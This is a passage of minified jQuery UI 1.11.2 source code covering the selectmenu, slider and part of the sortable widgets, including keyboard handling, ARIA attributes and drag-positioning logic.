s=i.item.data("ui-selectmenu-item");null!=t.focusIndex&&s.index!==t.focusIndex&&(t._trigger("focus",e,{item:s}),t.isOpen||t._select(s,e)),t.focusIndex=s.index,t.button.attr("aria-activedescendant",t.menuItems.eq(s.index).attr("id"))}}).menu("instance"),this.menu.addClass("ui-corner-bottom").removeClass("ui-corner-all"),this.menuInstance._off(this.menu,"mouseleave"),this.menuInstance._closeOnDocumentClick=function(){return!1},this.menuInstance._isDivider=function(){return!1}},refresh:function(){this._refreshMenu(),this._setText(this.buttonText,this._getSelectedItem().text()),this.options.width||this._resizeButton()},_refreshMenu:function(){this.menu.empty();var e,t=this.element.find("option");t.length&&(this._parseOptions(t),this._renderMenu(this.menu,this.items),this.menuInstance.refresh(),this.menuItems=this.menu.find("li").not(".ui-selectmenu-optgroup"),e=this._getSelectedItem(),this.menuInstance.focus(null,e),this._setAria(e.data("ui-selectmenu-item")),this._setOption("disabled",this.element.prop("disabled")))},open:function(e){this.options.disabled||(this.menuItems?(this.menu.find(".ui-state-focus").removeClass("ui-state-focus"),this.menuInstance.focus(null,this._getSelectedItem())):this._refreshMenu(),this.isOpen=!0,this._toggleAttr(),this._resizeMenu(),this._position(),this._on(this.document,this._documentClick),this._trigger("open",e))},_position:function(){this.menuWrap.position(e.extend({of:this.button},this.options.position))},close:function(e){this.isOpen&&(this.isOpen=!1,this._toggleAttr(),this.range=null,this._off(this.document),this._trigger("close",e))},widget:function(){return this.button},menuWidget:function(){return this.menu},_renderMenu:function(t,i){var s=this,n="";e.each(i,function(i,a){a.optgroup!==n&&(e("<li>",{"class":"ui-selectmenu-optgroup ui-menu-divider"+(a.element.parent("optgroup").prop("disabled")?" ui-state-disabled":""),text:a.optgroup}).appendTo(t),n=a.optgroup),s._renderItemData(t,a)})},_renderItemData:function(e,t){return this._renderItem(e,t).data("ui-selectmenu-item",t)},_renderItem:function(t,i){var s=e("<li>");return i.disabled&&s.addClass("ui-state-disabled"),this._setText(s,i.label),s.appendTo(t)},_setText:function(e,t){t?e.text(t):e.html("&#160;")},_move:function(e,t){var i,s,n=".ui-menu-item";this.isOpen?i=this.menuItems.eq(this.focusIndex):(i=this.menuItems.eq(this.element[0].selectedIndex),n+=":not(.ui-state-disabled)"),s="first"===e||"last"===e?i["first"===e?"prevAll":"nextAll"](n).eq(-1):i[e+"All"](n).eq(0),s.length&&this.menuInstance.focus(t,s)},_getSelectedItem:function(){return this.menuItems.eq(this.element[0].selectedIndex)},_toggle:function(e){this[this.isOpen?"close":"open"](e)},_setSelection:function(){var e;this.range&&(window.getSelection?(e=window.getSelection(),e.removeAllRanges(),e.addRange(this.range)):this.range.select(),this.button.focus())},_documentClick:{mousedown:function(t){this.isOpen&&(e(t.target).closest(".ui-selectmenu-menu, #"+this.ids.button).length||this.close(t))}},_buttonEvents:{mousedown:function(){var e;window.getSelection?(e=window.getSelection(),e.rangeCount&&(this.range=e.getRangeAt(0))):this.range=document.selection.createRange()},click:function(e){this._setSelection(),this._toggle(e)},keydown:function(t){var i=!0;switch(t.keyCode){case e.ui.keyCode.TAB:case e.ui.keyCode.ESCAPE:this.close(t),i=!1;break;case e.ui.keyCode.ENTER:this.isOpen&&this._selectFocusedItem(t);break;case e.ui.keyCode.UP:t.altKey?this._toggle(t):this._move("prev",t);break;case e.ui.keyCode.DOWN:t.altKey?this._toggle(t):this._move("next",t);break;case e.ui.keyCode.SPACE:this.isOpen?this._selectFocusedItem(t):this._toggle(t);break;case e.ui.keyCode.LEFT:this._move("prev",t);break;case e.ui.keyCode.RIGHT:this._move("next",t);break;case e.ui.keyCode.HOME:case e.ui.keyCode.PAGE_UP:this._move("first",t);break;case e.ui.keyCode.END:case e.ui.keyCode.PAGE_DOWN:this._move("last",t);break;default:this.menu.trigger(t),i=!1}i&&t.preventDefault()}},_selectFocusedItem:function(e){var t=this.menuItems.eq(this.focusIndex);t.hasClass("ui-state-disabled")||this._select(t.data("ui-selectmenu-item"),e)},_select:function(e,t){var i=this.element[0].selectedIndex;this.element[0].selectedIndex=e.index,this._setText(this.buttonText,e.label),this._setAria(e),this._trigger("select",t,{item:e}),e.index!==i&&this._trigger("change",t,{item:e}),this.close(t)},_setAria:function(e){var t=this.menuItems.eq(e.index).attr("id");this.button.attr({"aria-labelledby":t,"aria-activedescendant":t}),this.menu.attr("aria-activedescendant",t)},_setOption:function(e,t){"icons"===e&&this.button.find("span.ui-icon").removeClass(this.options.icons.button).addClass(t.button),this._super(e,t),"appendTo"===e&&this.menuWrap.appendTo(this._appendTo()),"disabled"===e&&(this.menuInstance.option("disabled",t),this.button.toggleClass("ui-state-disabled",t).attr("aria-disabled",t),this.element.prop("disabled",t),t?(this.button.attr("tabindex",-1),this.close()):this.button.attr("tabindex",0)),"width"===e&&this._resizeButton()},_appendTo:function(){var t=this.options.appendTo;return t&&(t=t.jquery||t.nodeType?e(t):this.document.find(t).eq(0)),t&&t[0]||(t=this.element.closest(".ui-front")),t.length||(t=this.document[0].body),t},_toggleAttr:function(){this.button.toggleClass("ui-corner-top",this.isOpen).toggleClass("ui-corner-all",!this.isOpen).attr("aria-expanded",this.isOpen),this.menuWrap.toggleClass("ui-selectmenu-open",this.isOpen),this.menu.attr("aria-hidden",!this.isOpen)},_resizeButton:function(){var e=this.options.width;e||(e=this.element.show().outerWidth(),this.element.hide()),this.button.outerWidth(e)},_resizeMenu:function(){this.menu.outerWidth(Math.max(this.button.outerWidth(),this.menu.width("").outerWidth()+1))},_getCreateOptions:function(){return{disabled:this.element.prop("disabled")}},_parseOptions:function(t){var i=[];t.each(function(t,s){var n=e(s),a=n.parent("optgroup");i.push({element:n,index:t,value:n.attr("value"),label:n.text(),optgroup:a.attr("label")||"",disabled:a.prop("disabled")||n.prop("disabled")})}),this.items=i},_destroy:function(){this.menuWrap.remove(),this.button.remove(),this.element.show(),this.element.removeUniqueId(),this.label.attr("for",this.ids.element)}}),e.widget("ui.slider",e.ui.mouse,{version:"1.11.2",widgetEventPrefix:"slide",options:{animate:!1,distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this.element.addClass("ui-slider ui-slider-"+this.orientation+" ui-widget"+" ui-widget-content"+" ui-corner-all"),this._refresh(),this._setOption("disabled",this.options.disabled),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var t,i,s=this.options,n=this.element.find(".ui-slider-handle").addClass("ui-state-default ui-corner-all"),a="<span class='ui-slider-handle ui-state-default ui-corner-all' tabindex='0'></span>",o=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),t=n.length;i>t;t++)o.push(a);this.handles=n.add(e(o.join("")).appendTo(this.element)),this.handle=this.handles.eq(0),this.handles.each(function(t){e(this).data("ui-slider-handle-index",t)})},_createRange:function(){var t=this.options,i="";t.range?(t.range===!0&&(t.values?t.values.length&&2!==t.values.length?t.values=[t.values[0],t.values[0]]:e.isArray(t.values)&&(t.values=t.values.slice(0)):t.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?this.range.removeClass("ui-slider-range-min ui-slider-range-max").css({left:"",bottom:""}):(this.range=e("<div></div>").appendTo(this.element),i="ui-slider-range ui-widget-header ui-corner-all"),this.range.addClass(i+("min"===t.range||"max"===t.range?" ui-slider-range-"+t.range:""))):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this.element.removeClass("ui-slider ui-slider-horizontal ui-slider-vertical ui-widget ui-widget-content ui-corner-all"),this._mouseDestroy()},_mouseCapture:function(t){var i,s,n,a,o,r,h,l,u=this,d=this.options;return d.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:t.pageX,y:t.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(t){var i=Math.abs(s-u.values(t));(n>i||n===i&&(t===u._lastChangedValue||u.values(t)===d.min))&&(n=i,a=e(this),o=t)}),r=this._start(t,o),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=o,a.addClass("ui-state-active").focus(),h=a.offset(),l=!e(t.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=l?{left:0,top:0}:{left:t.pageX-h.left-a.width()/2,top:t.pageY-h.top-a.height()/2-(parseInt(a.css("borderTopWidth"),10)||0)-(parseInt(a.css("borderBottomWidth"),10)||0)+(parseInt(a.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(t,o,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(e){var t={x:e.pageX,y:e.pageY},i=this._normValueFromMouse(t);return this._slide(e,this._handleIndex,i),!1},_mouseStop:function(e){return this.handles.removeClass("ui-state-active"),this._mouseSliding=!1,this._stop(e,this._handleIndex),this._change(e,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(e){var t,i,s,n,a;return"horizontal"===this.orientation?(t=this.elementSize.width,i=e.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(t=this.elementSize.height,i=e.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/t,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),a=this._valueMin()+s*n,this._trimAlignValue(a)},_start:function(e,t){var i={handle:this.handles[t],value:this.value()};return this.options.values&&this.options.values.length&&(i.value=this.values(t),i.values=this.values()),this._trigger("start",e,i)},_slide:function(e,t,i){var s,n,a;this.options.values&&this.options.values.length?(s=this.values(t?0:1),2===this.options.values.length&&this.options.range===!0&&(0===t&&i>s||1===t&&s>i)&&(i=s),i!==this.values(t)&&(n=this.values(),n[t]=i,a=this._trigger("slide",e,{handle:this.handles[t],value:i,values:n}),s=this.values(t?0:1),a!==!1&&this.values(t,i))):i!==this.value()&&(a=this._trigger("slide",e,{handle:this.handles[t],value:i}),a!==!1&&this.value(i))},_stop:function(e,t){var i={handle:this.handles[t],value:this.value()};this.options.values&&this.options.values.length&&(i.value=this.values(t),i.values=this.values()),this._trigger("stop",e,i)},_change:function(e,t){if(!this._keySliding&&!this._mouseSliding){var i={handle:this.handles[t],value:this.value()};this.options.values&&this.options.values.length&&(i.value=this.values(t),i.values=this.values()),this._lastChangedValue=t,this._trigger("change",e,i)}},value:function(e){return arguments.length?(this.options.value=this._trimAlignValue(e),this._refreshValue(),this._change(null,0),void 0):this._value()},values:function(t,i){var s,n,a;if(arguments.length>1)return this.options.values[t]=this._trimAlignValue(i),this._refreshValue(),this._change(null,t),void 0;if(!arguments.length)return this._values();if(!e.isArray(arguments[0]))return this.options.values&&this.options.values.length?this._values(t):this.value();for(s=this.options.values,n=arguments[0],a=0;s.length>a;a+=1)s[a]=this._trimAlignValue(n[a]),this._change(null,a);this._refreshValue()},_setOption:function(t,i){var s,n=0;switch("range"===t&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),e.isArray(this.options.values)&&(n=this.options.values.length),"disabled"===t&&this.element.toggleClass("ui-state-disabled",!!i),this._super(t,i),t){case"orientation":this._detectOrientation(),this.element.removeClass("ui-slider-horizontal ui-slider-vertical").addClass("ui-slider-"+this.orientation),this._refreshValue(),this.handles.css("horizontal"===i?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=0;n>s;s+=1)this._change(null,s);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_value:function(){var e=this.options.value;return e=this._trimAlignValue(e)},_values:function(e){var t,i,s;if(arguments.length)return t=this.options.values[e],t=this._trimAlignValue(t);if(this.options.values&&this.options.values.length){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return i}return[]},_trimAlignValue:function(e){if(this._valueMin()>=e)return this._valueMin();if(e>=this._valueMax())return this._valueMax();var t=this.options.step>0?this.options.step:1,i=(e-this._valueMin())%t,s=e-i;return 2*Math.abs(i)>=t&&(s+=i>0?t:-t),parseFloat(s.toFixed(5))},_calculateNewMax:function(){var e=(this.options.max-this._valueMin())%this.options.step;this.max=this.options.max-e},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshValue:function(){var t,i,s,n,a,o=this.options.range,r=this.options,h=this,l=this._animateOff?!1:r.animate,u={};this.options.values&&this.options.values.length?this.handles.each(function(s){i=100*((h.values(s)-h._valueMin())/(h._valueMax()-h._valueMin())),u["horizontal"===h.orientation?"left":"bottom"]=i+"%",e(this).stop(1,1)[l?"animate":"css"](u,r.animate),h.options.range===!0&&("horizontal"===h.orientation?(0===s&&h.range.stop(1,1)[l?"animate":"css"]({left:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({width:i-t+"%"},{queue:!1,duration:r.animate})):(0===s&&h.range.stop(1,1)[l?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({height:i-t+"%"},{queue:!1,duration:r.animate}))),t=i}):(s=this.value(),n=this._valueMin(),a=this._valueMax(),i=a!==n?100*((s-n)/(a-n)):0,u["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[l?"animate":"css"](u,r.animate),"min"===o&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:i+"%"},r.animate),"max"===o&&"horizontal"===this.orientation&&this.range[l?"animate":"css"]({width:100-i+"%"},{queue:!1,duration:r.animate}),"min"===o&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:i+"%"},r.animate),"max"===o&&"vertical"===this.orientation&&this.range[l?"animate":"css"]({height:100-i+"%"},{queue:!1,duration:r.animate}))},_handleEvents:{keydown:function(t){var i,s,n,a,o=e(t.target).data("ui-slider-handle-index");switch(t.keyCode){case e.ui.keyCode.HOME:case e.ui.keyCode.END:case e.ui.keyCode.PAGE_UP:case e.ui.keyCode.PAGE_DOWN:case e.ui.keyCode.UP:case e.ui.keyCode.RIGHT:case e.ui.keyCode.DOWN:case e.ui.keyCode.LEFT:if(t.preventDefault(),!this._keySliding&&(this._keySliding=!0,e(t.target).addClass("ui-state-active"),i=this._start(t,o),i===!1))return}switch(a=this.options.step,s=n=this.options.values&&this.options.values.length?this.values(o):this.value(),t.keyCode){case e.ui.keyCode.HOME:n=this._valueMin();break;case e.ui.keyCode.END:n=this._valueMax();break;case e.ui.keyCode.PAGE_UP:n=this._trimAlignValue(s+(this._valueMax()-this._valueMin())/this.numPages);break;case e.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(s-(this._valueMax()-this._valueMin())/this.numPages);break;case e.ui.keyCode.UP:case e.ui.keyCode.RIGHT:if(s===this._valueMax())return;n=this._trimAlignValue(s+a);break;case e.ui.keyCode.DOWN:case e.ui.keyCode.LEFT:if(s===this._valueMin())return;n=this._trimAlignValue(s-a)}this._slide(t,o,n)},keyup:function(t){var i=e(t.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(t,i),this._change(t,i),e(t.target).removeClass("ui-state-active"))}}}),e.widget("ui.sortable",e.ui.mouse,{version:"1.11.2",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(e,t,i){return e>=t&&t+i>e},_isFloating:function(e){return/left|right/.test(e.css("float"))||/inline|table-cell/.test(e.css("display"))},_create:function(){var e=this.options;this.containerCache={},this.element.addClass("ui-sortable"),this.refresh(),this.floating=this.items.length?"x"===e.axis||this._isFloating(this.items[0].item):!1,this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(e,t){this._super(e,t),"handle"===e&&this._setHandleClassName()},_setHandleClassName:function(){this.element.find(".ui-sortable-handle").removeClass("ui-sortable-handle"),e.each(this.items,function(){(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item).addClass("ui-sortable-handle")})},_destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").find(".ui-sortable-handle").removeClass("ui-sortable-handle"),this._mouseDestroy();for(var e=this.items.length-1;e>=0;e--)this.items[e].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(t,i){var s=null,n=!1,a=this;return this.reverting?!1:this.options.disabled||"static"===this.options.type?!1:(this._refreshItems(t),e(t.target).parents().each(function(){return e.data(this,a.widgetName+"-item")===a?(s=e(this),!1):void 0}),e.data(t.target,a.widgetName+"-item")===a&&(s=e(t.target)),s?!this.options.handle||i||(e(this.options.handle,s).find("*").addBack().each(function(){this===t.target&&(n=!0)}),n)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(t,i,s){var n,a,o=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},e.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,o.cursorAt&&this._adjustOffsetFromHelper(o.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),o.containment&&this._setContainment(),o.cursor&&"auto"!==o.cursor&&(a=this.document.find("body"),this.storedCursor=a.css("cursor"),a.css("cursor",o.cursor),this.storedStylesheet=e("<style>*{ cursor: "+o.cursor+" !important; }</style>").appendTo(a)),o.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",o.opacity)),o.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",o.zIndex)),this.scrollParent[0]!==document&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(n=this.containers.length-1;n>=0;n--)this.containers[n]._trigger("activate",t,this._uiHash(this));
return e.ui.ddmanager&&(e.ui.ddmanager.current=this),e.ui.ddmanager&&!o.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this.helper.addClass("ui-sortable-helper"),this._mouseDrag(t),!0},_mouseDrag:function(t){var i,s,n,a,o=this.options,r=!1;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==document&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<o.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+o.scrollSpeed:t.pageY-this.overflowOffset.top<o.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-o.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<o.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+o.scrollSpeed:t.pageX-this.overflowOffset.left<o.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-o.scrollSpeed)):(t.pageY-e(document).scrollTop()<o.scrollSensitivity?r=e(document).scrollTop(e(document).scrollTop()-o.scrollSpeed):e(window).height()-(t.pageY-e(document).scrollTop())<o.scrollSensitivity&&(r=e(document).scrollTop(e(document).scrollTop()+o.scrollSpeed)),t.pageX-e(document).scrollLeft()<o.scrollSensitivity?r=e(document).scrollLeft(e(document).scrollLeft()-o.scrollSpeed):e(window).width()-(t.pageX-e(document).scrollLeft())<o.scrollSensitivity&&(r=e(document).scrollLeft(e(document).scrollLeft()+o.scrollSpeed))),r!==!1&&e.ui.ddmanager&&!o.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t)),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],n=s.item[0],a=this._intersectsWithPointer(s),a&&s.instance===this.currentContainer&&n!==this.currentItem[0]&&this.placeholder[1===a?"next":"prev"]()[0]!==n&&!e.contains(this.placeholder[0],n)&&("semi-dynamic"===this.options.type?!e.contains(this.element[0],n):!0)){if(this.direction=1===a?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(s))break;this._rearrange(t,s),this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,i){if(t){if(e.ui.ddmanager&&!this.options.dropBehaviour&&e.ui.ddmanager.drop(this,t),this.options.revert){var s=this,n=this.placeholder.offset(),a=this.options.axis,o={};a&&"x"!==a||(o.left=n.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===document.body?0:this.offsetParent[0].scrollLeft)),a&&"y"!==a||(o.top=n.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===document.body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,e(this.helper).animate(o,parseInt(this.options.revert,10)||500,function(){s._clear(t)})}else this._clear(t,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp({target:null}),"original"===this.options.helper?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var t=this.containers.length-1;t>=0;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),e.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?e(this.domPosition.prev).after(this.currentItem):e(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},e(i).each(function(){var i=(e(t.item||this).attr(t.attribute||"id")||"").match(t.expression||/(.+)[\-=_](.+)/);i&&s.push((t.key||i[1]+"[]")+"="+(t.key&&t.expression?i[1]:i[2]))}),!s.length&&t.key&&s.push(t.key+"="),s.join("&")},toArray:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},i.each(function(){s.push(e(t.item||this).attr(t.attribute||"id")||"")}),s},_intersectsWith:function(e){var t=this.positionAbs.left,i=t+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,a=e.left,o=a+e.width,r=e.top,h=r+e.height,l=this.offset.click.top,u=this.offset.click.left,d="x"===this.options.axis||s+l>r&&h>s+l,c="y"===this.options.axis||t+u>a&&o>t+u,p=d&&c;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>e[this.floating?"width":"height"]?p:t+this.helperProportions.width/2>a&&o>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&h>n-this.helperProportions.height/2},_intersectsWithPointer:function(e){var t="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top,e.height),i="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left,e.width),s=t&&i,n=this._getDragVerticalDirection(),a=this._getDragHorizontalDirection();return s?this.floating?a&&"right"===a||"down"===n?2:1:n&&("down"===n?2:1):!1},_intersectsWithSides:function(e){var t=this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top+e.height/2,e.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left+e.width/2,e.width),s=this._getDragVerticalDirection(),n=this._getDragHorizontalDirection();return this.floating&&n?"right"===n&&i||"left"===n&&!i:s&&("down"===s&&t||"up"===s&&!t)},_getDragVerticalDirection:function(){var e=this.positionAbs.top-this.lastPositionAbs.top;return 0!==e&&(e>0?"down":"up")},_getDragHorizontalDirection:function(){var e=this.positionAbs.left-this.lastPositionAbs.left;return 0!==e&&(e>0?"right":"left")},refresh:function(e){return this._refreshItems(e),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var e=this.options;return e.connectWith.constructor===String?[e.connectWith]:e.connectWith},_getItemsAsjQuery:function(t){function i(){r.push(this)}var s,n,a,o,r=[],h=[],l=this._connectWith();if(l&&t)for(s=l.length-1;s>=0;s--)for(a=e(l[s]),n=a.length-1;n>=0;n--)o=e.data(a[n],this.widgetFullName),o&&o!==this&&!o.options.disabled&&h.push([e.isFunction(o.options.items)?o.options.items.call(o.element):e(o.options.items,o.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),o]);for(h.push([e.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):e(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),s=h.length-1;s>=0;s--)h[s][0].each(i);return e(r)},_removeCurrentsFromItems:function(){var t=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=e.grep(this.items,function(e){for(var i=0;t.length>i;i++)if(t[i]===e.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var i,s,n,a,o,r,h,l,u=this.items,d=[[e.isFunction(this.options.items)?this.options.items.call(this.element[0],t,{item:this.currentItem}):e(this.options.items,this.element),this]],c=this._connectWith();if(c&&this.ready)for(i=c.length-1;i>=0;i--)for(n=e(c[i]),s=n.length-1;s>=0;s--)a=e.data(n[s],this.widgetFullName),a&&a!==this&&!a.options.disabled&&(d.push([e.isFunction(a.options.items)?a.options.items.call(a.element[0],t,{item:this.currentItem}):e(a.options.items,a.element),a]),this.containers.push(a));for(i=d.length-1;i>=0;i--)for(o=d[i][1],r=d[i][0],s=0,l=r.length;l>s;s++)h=e(r[s]),h.data(this.widgetName+"-item",o),u.push({item:h,instance:o,width:0,height:0,left:0,top:0})},refreshPositions:function(t){this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,n,a;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?e(this.options.toleranceElement,s.item):s.item,t||(s.width=n.outerWidth(),s.height=n.outerHeight()),a=n.offset(),s.left=a.left,s.top=a.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)a=this.containers[i].element.offset(),this.containers[i].containerCache.left=a.left,this.containers[i].containerCache.top=a.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(t){t=t||this;var i,s=t.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=t.currentItem[0].nodeName.toLowerCase(),n=e("<"+s+">",t.document[0]).addClass(i||t.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper");return"tr"===s?t.currentItem.children().each(function(){e("<td>&#160;</td>",t.document[0]).attr("colspan",e(this).attr("colspan")||1).appendTo(n)}):"img"===s&&n.attr("src",t.currentItem.attr("src")),i||n.css("visibility","hidden"),n},update:function(e,n){(!i||s.forcePlaceholderSize)&&(n.height()||n.height(t.currentItem.innerHeight()-parseInt(t.currentItem.css("paddingTop")||0,10)-parseInt(t.currentItem.css("paddingBottom")||0,10)),n.width()||n.width(t.currentItem.innerWidth()-parseInt(t.currentItem.css("paddingLeft")||0,10)-parseInt(t.currentItem.css("paddingRight")||0,10)))}}),t.placeholder=e(s.placeholder.element.call(t.element,t.currentItem)),t.currentItem.after(t.placeholder),s.placeholder.update(t,t.placeholder)},_contactContainers:function(t){var i,s,n,a,o,r,h,l,u,d,c=null,p=null;for(i=this.containers.length-1;i>=0;i--)if(!e.contains(this.currentItem[0],this.containers[i].element[0]))if(this._intersectsWith(this.containers[i].containerCache)){if(c&&e.contains(this.containers[i].element[0],c.element[0]))continue;c=this.containers[i],p=i}else 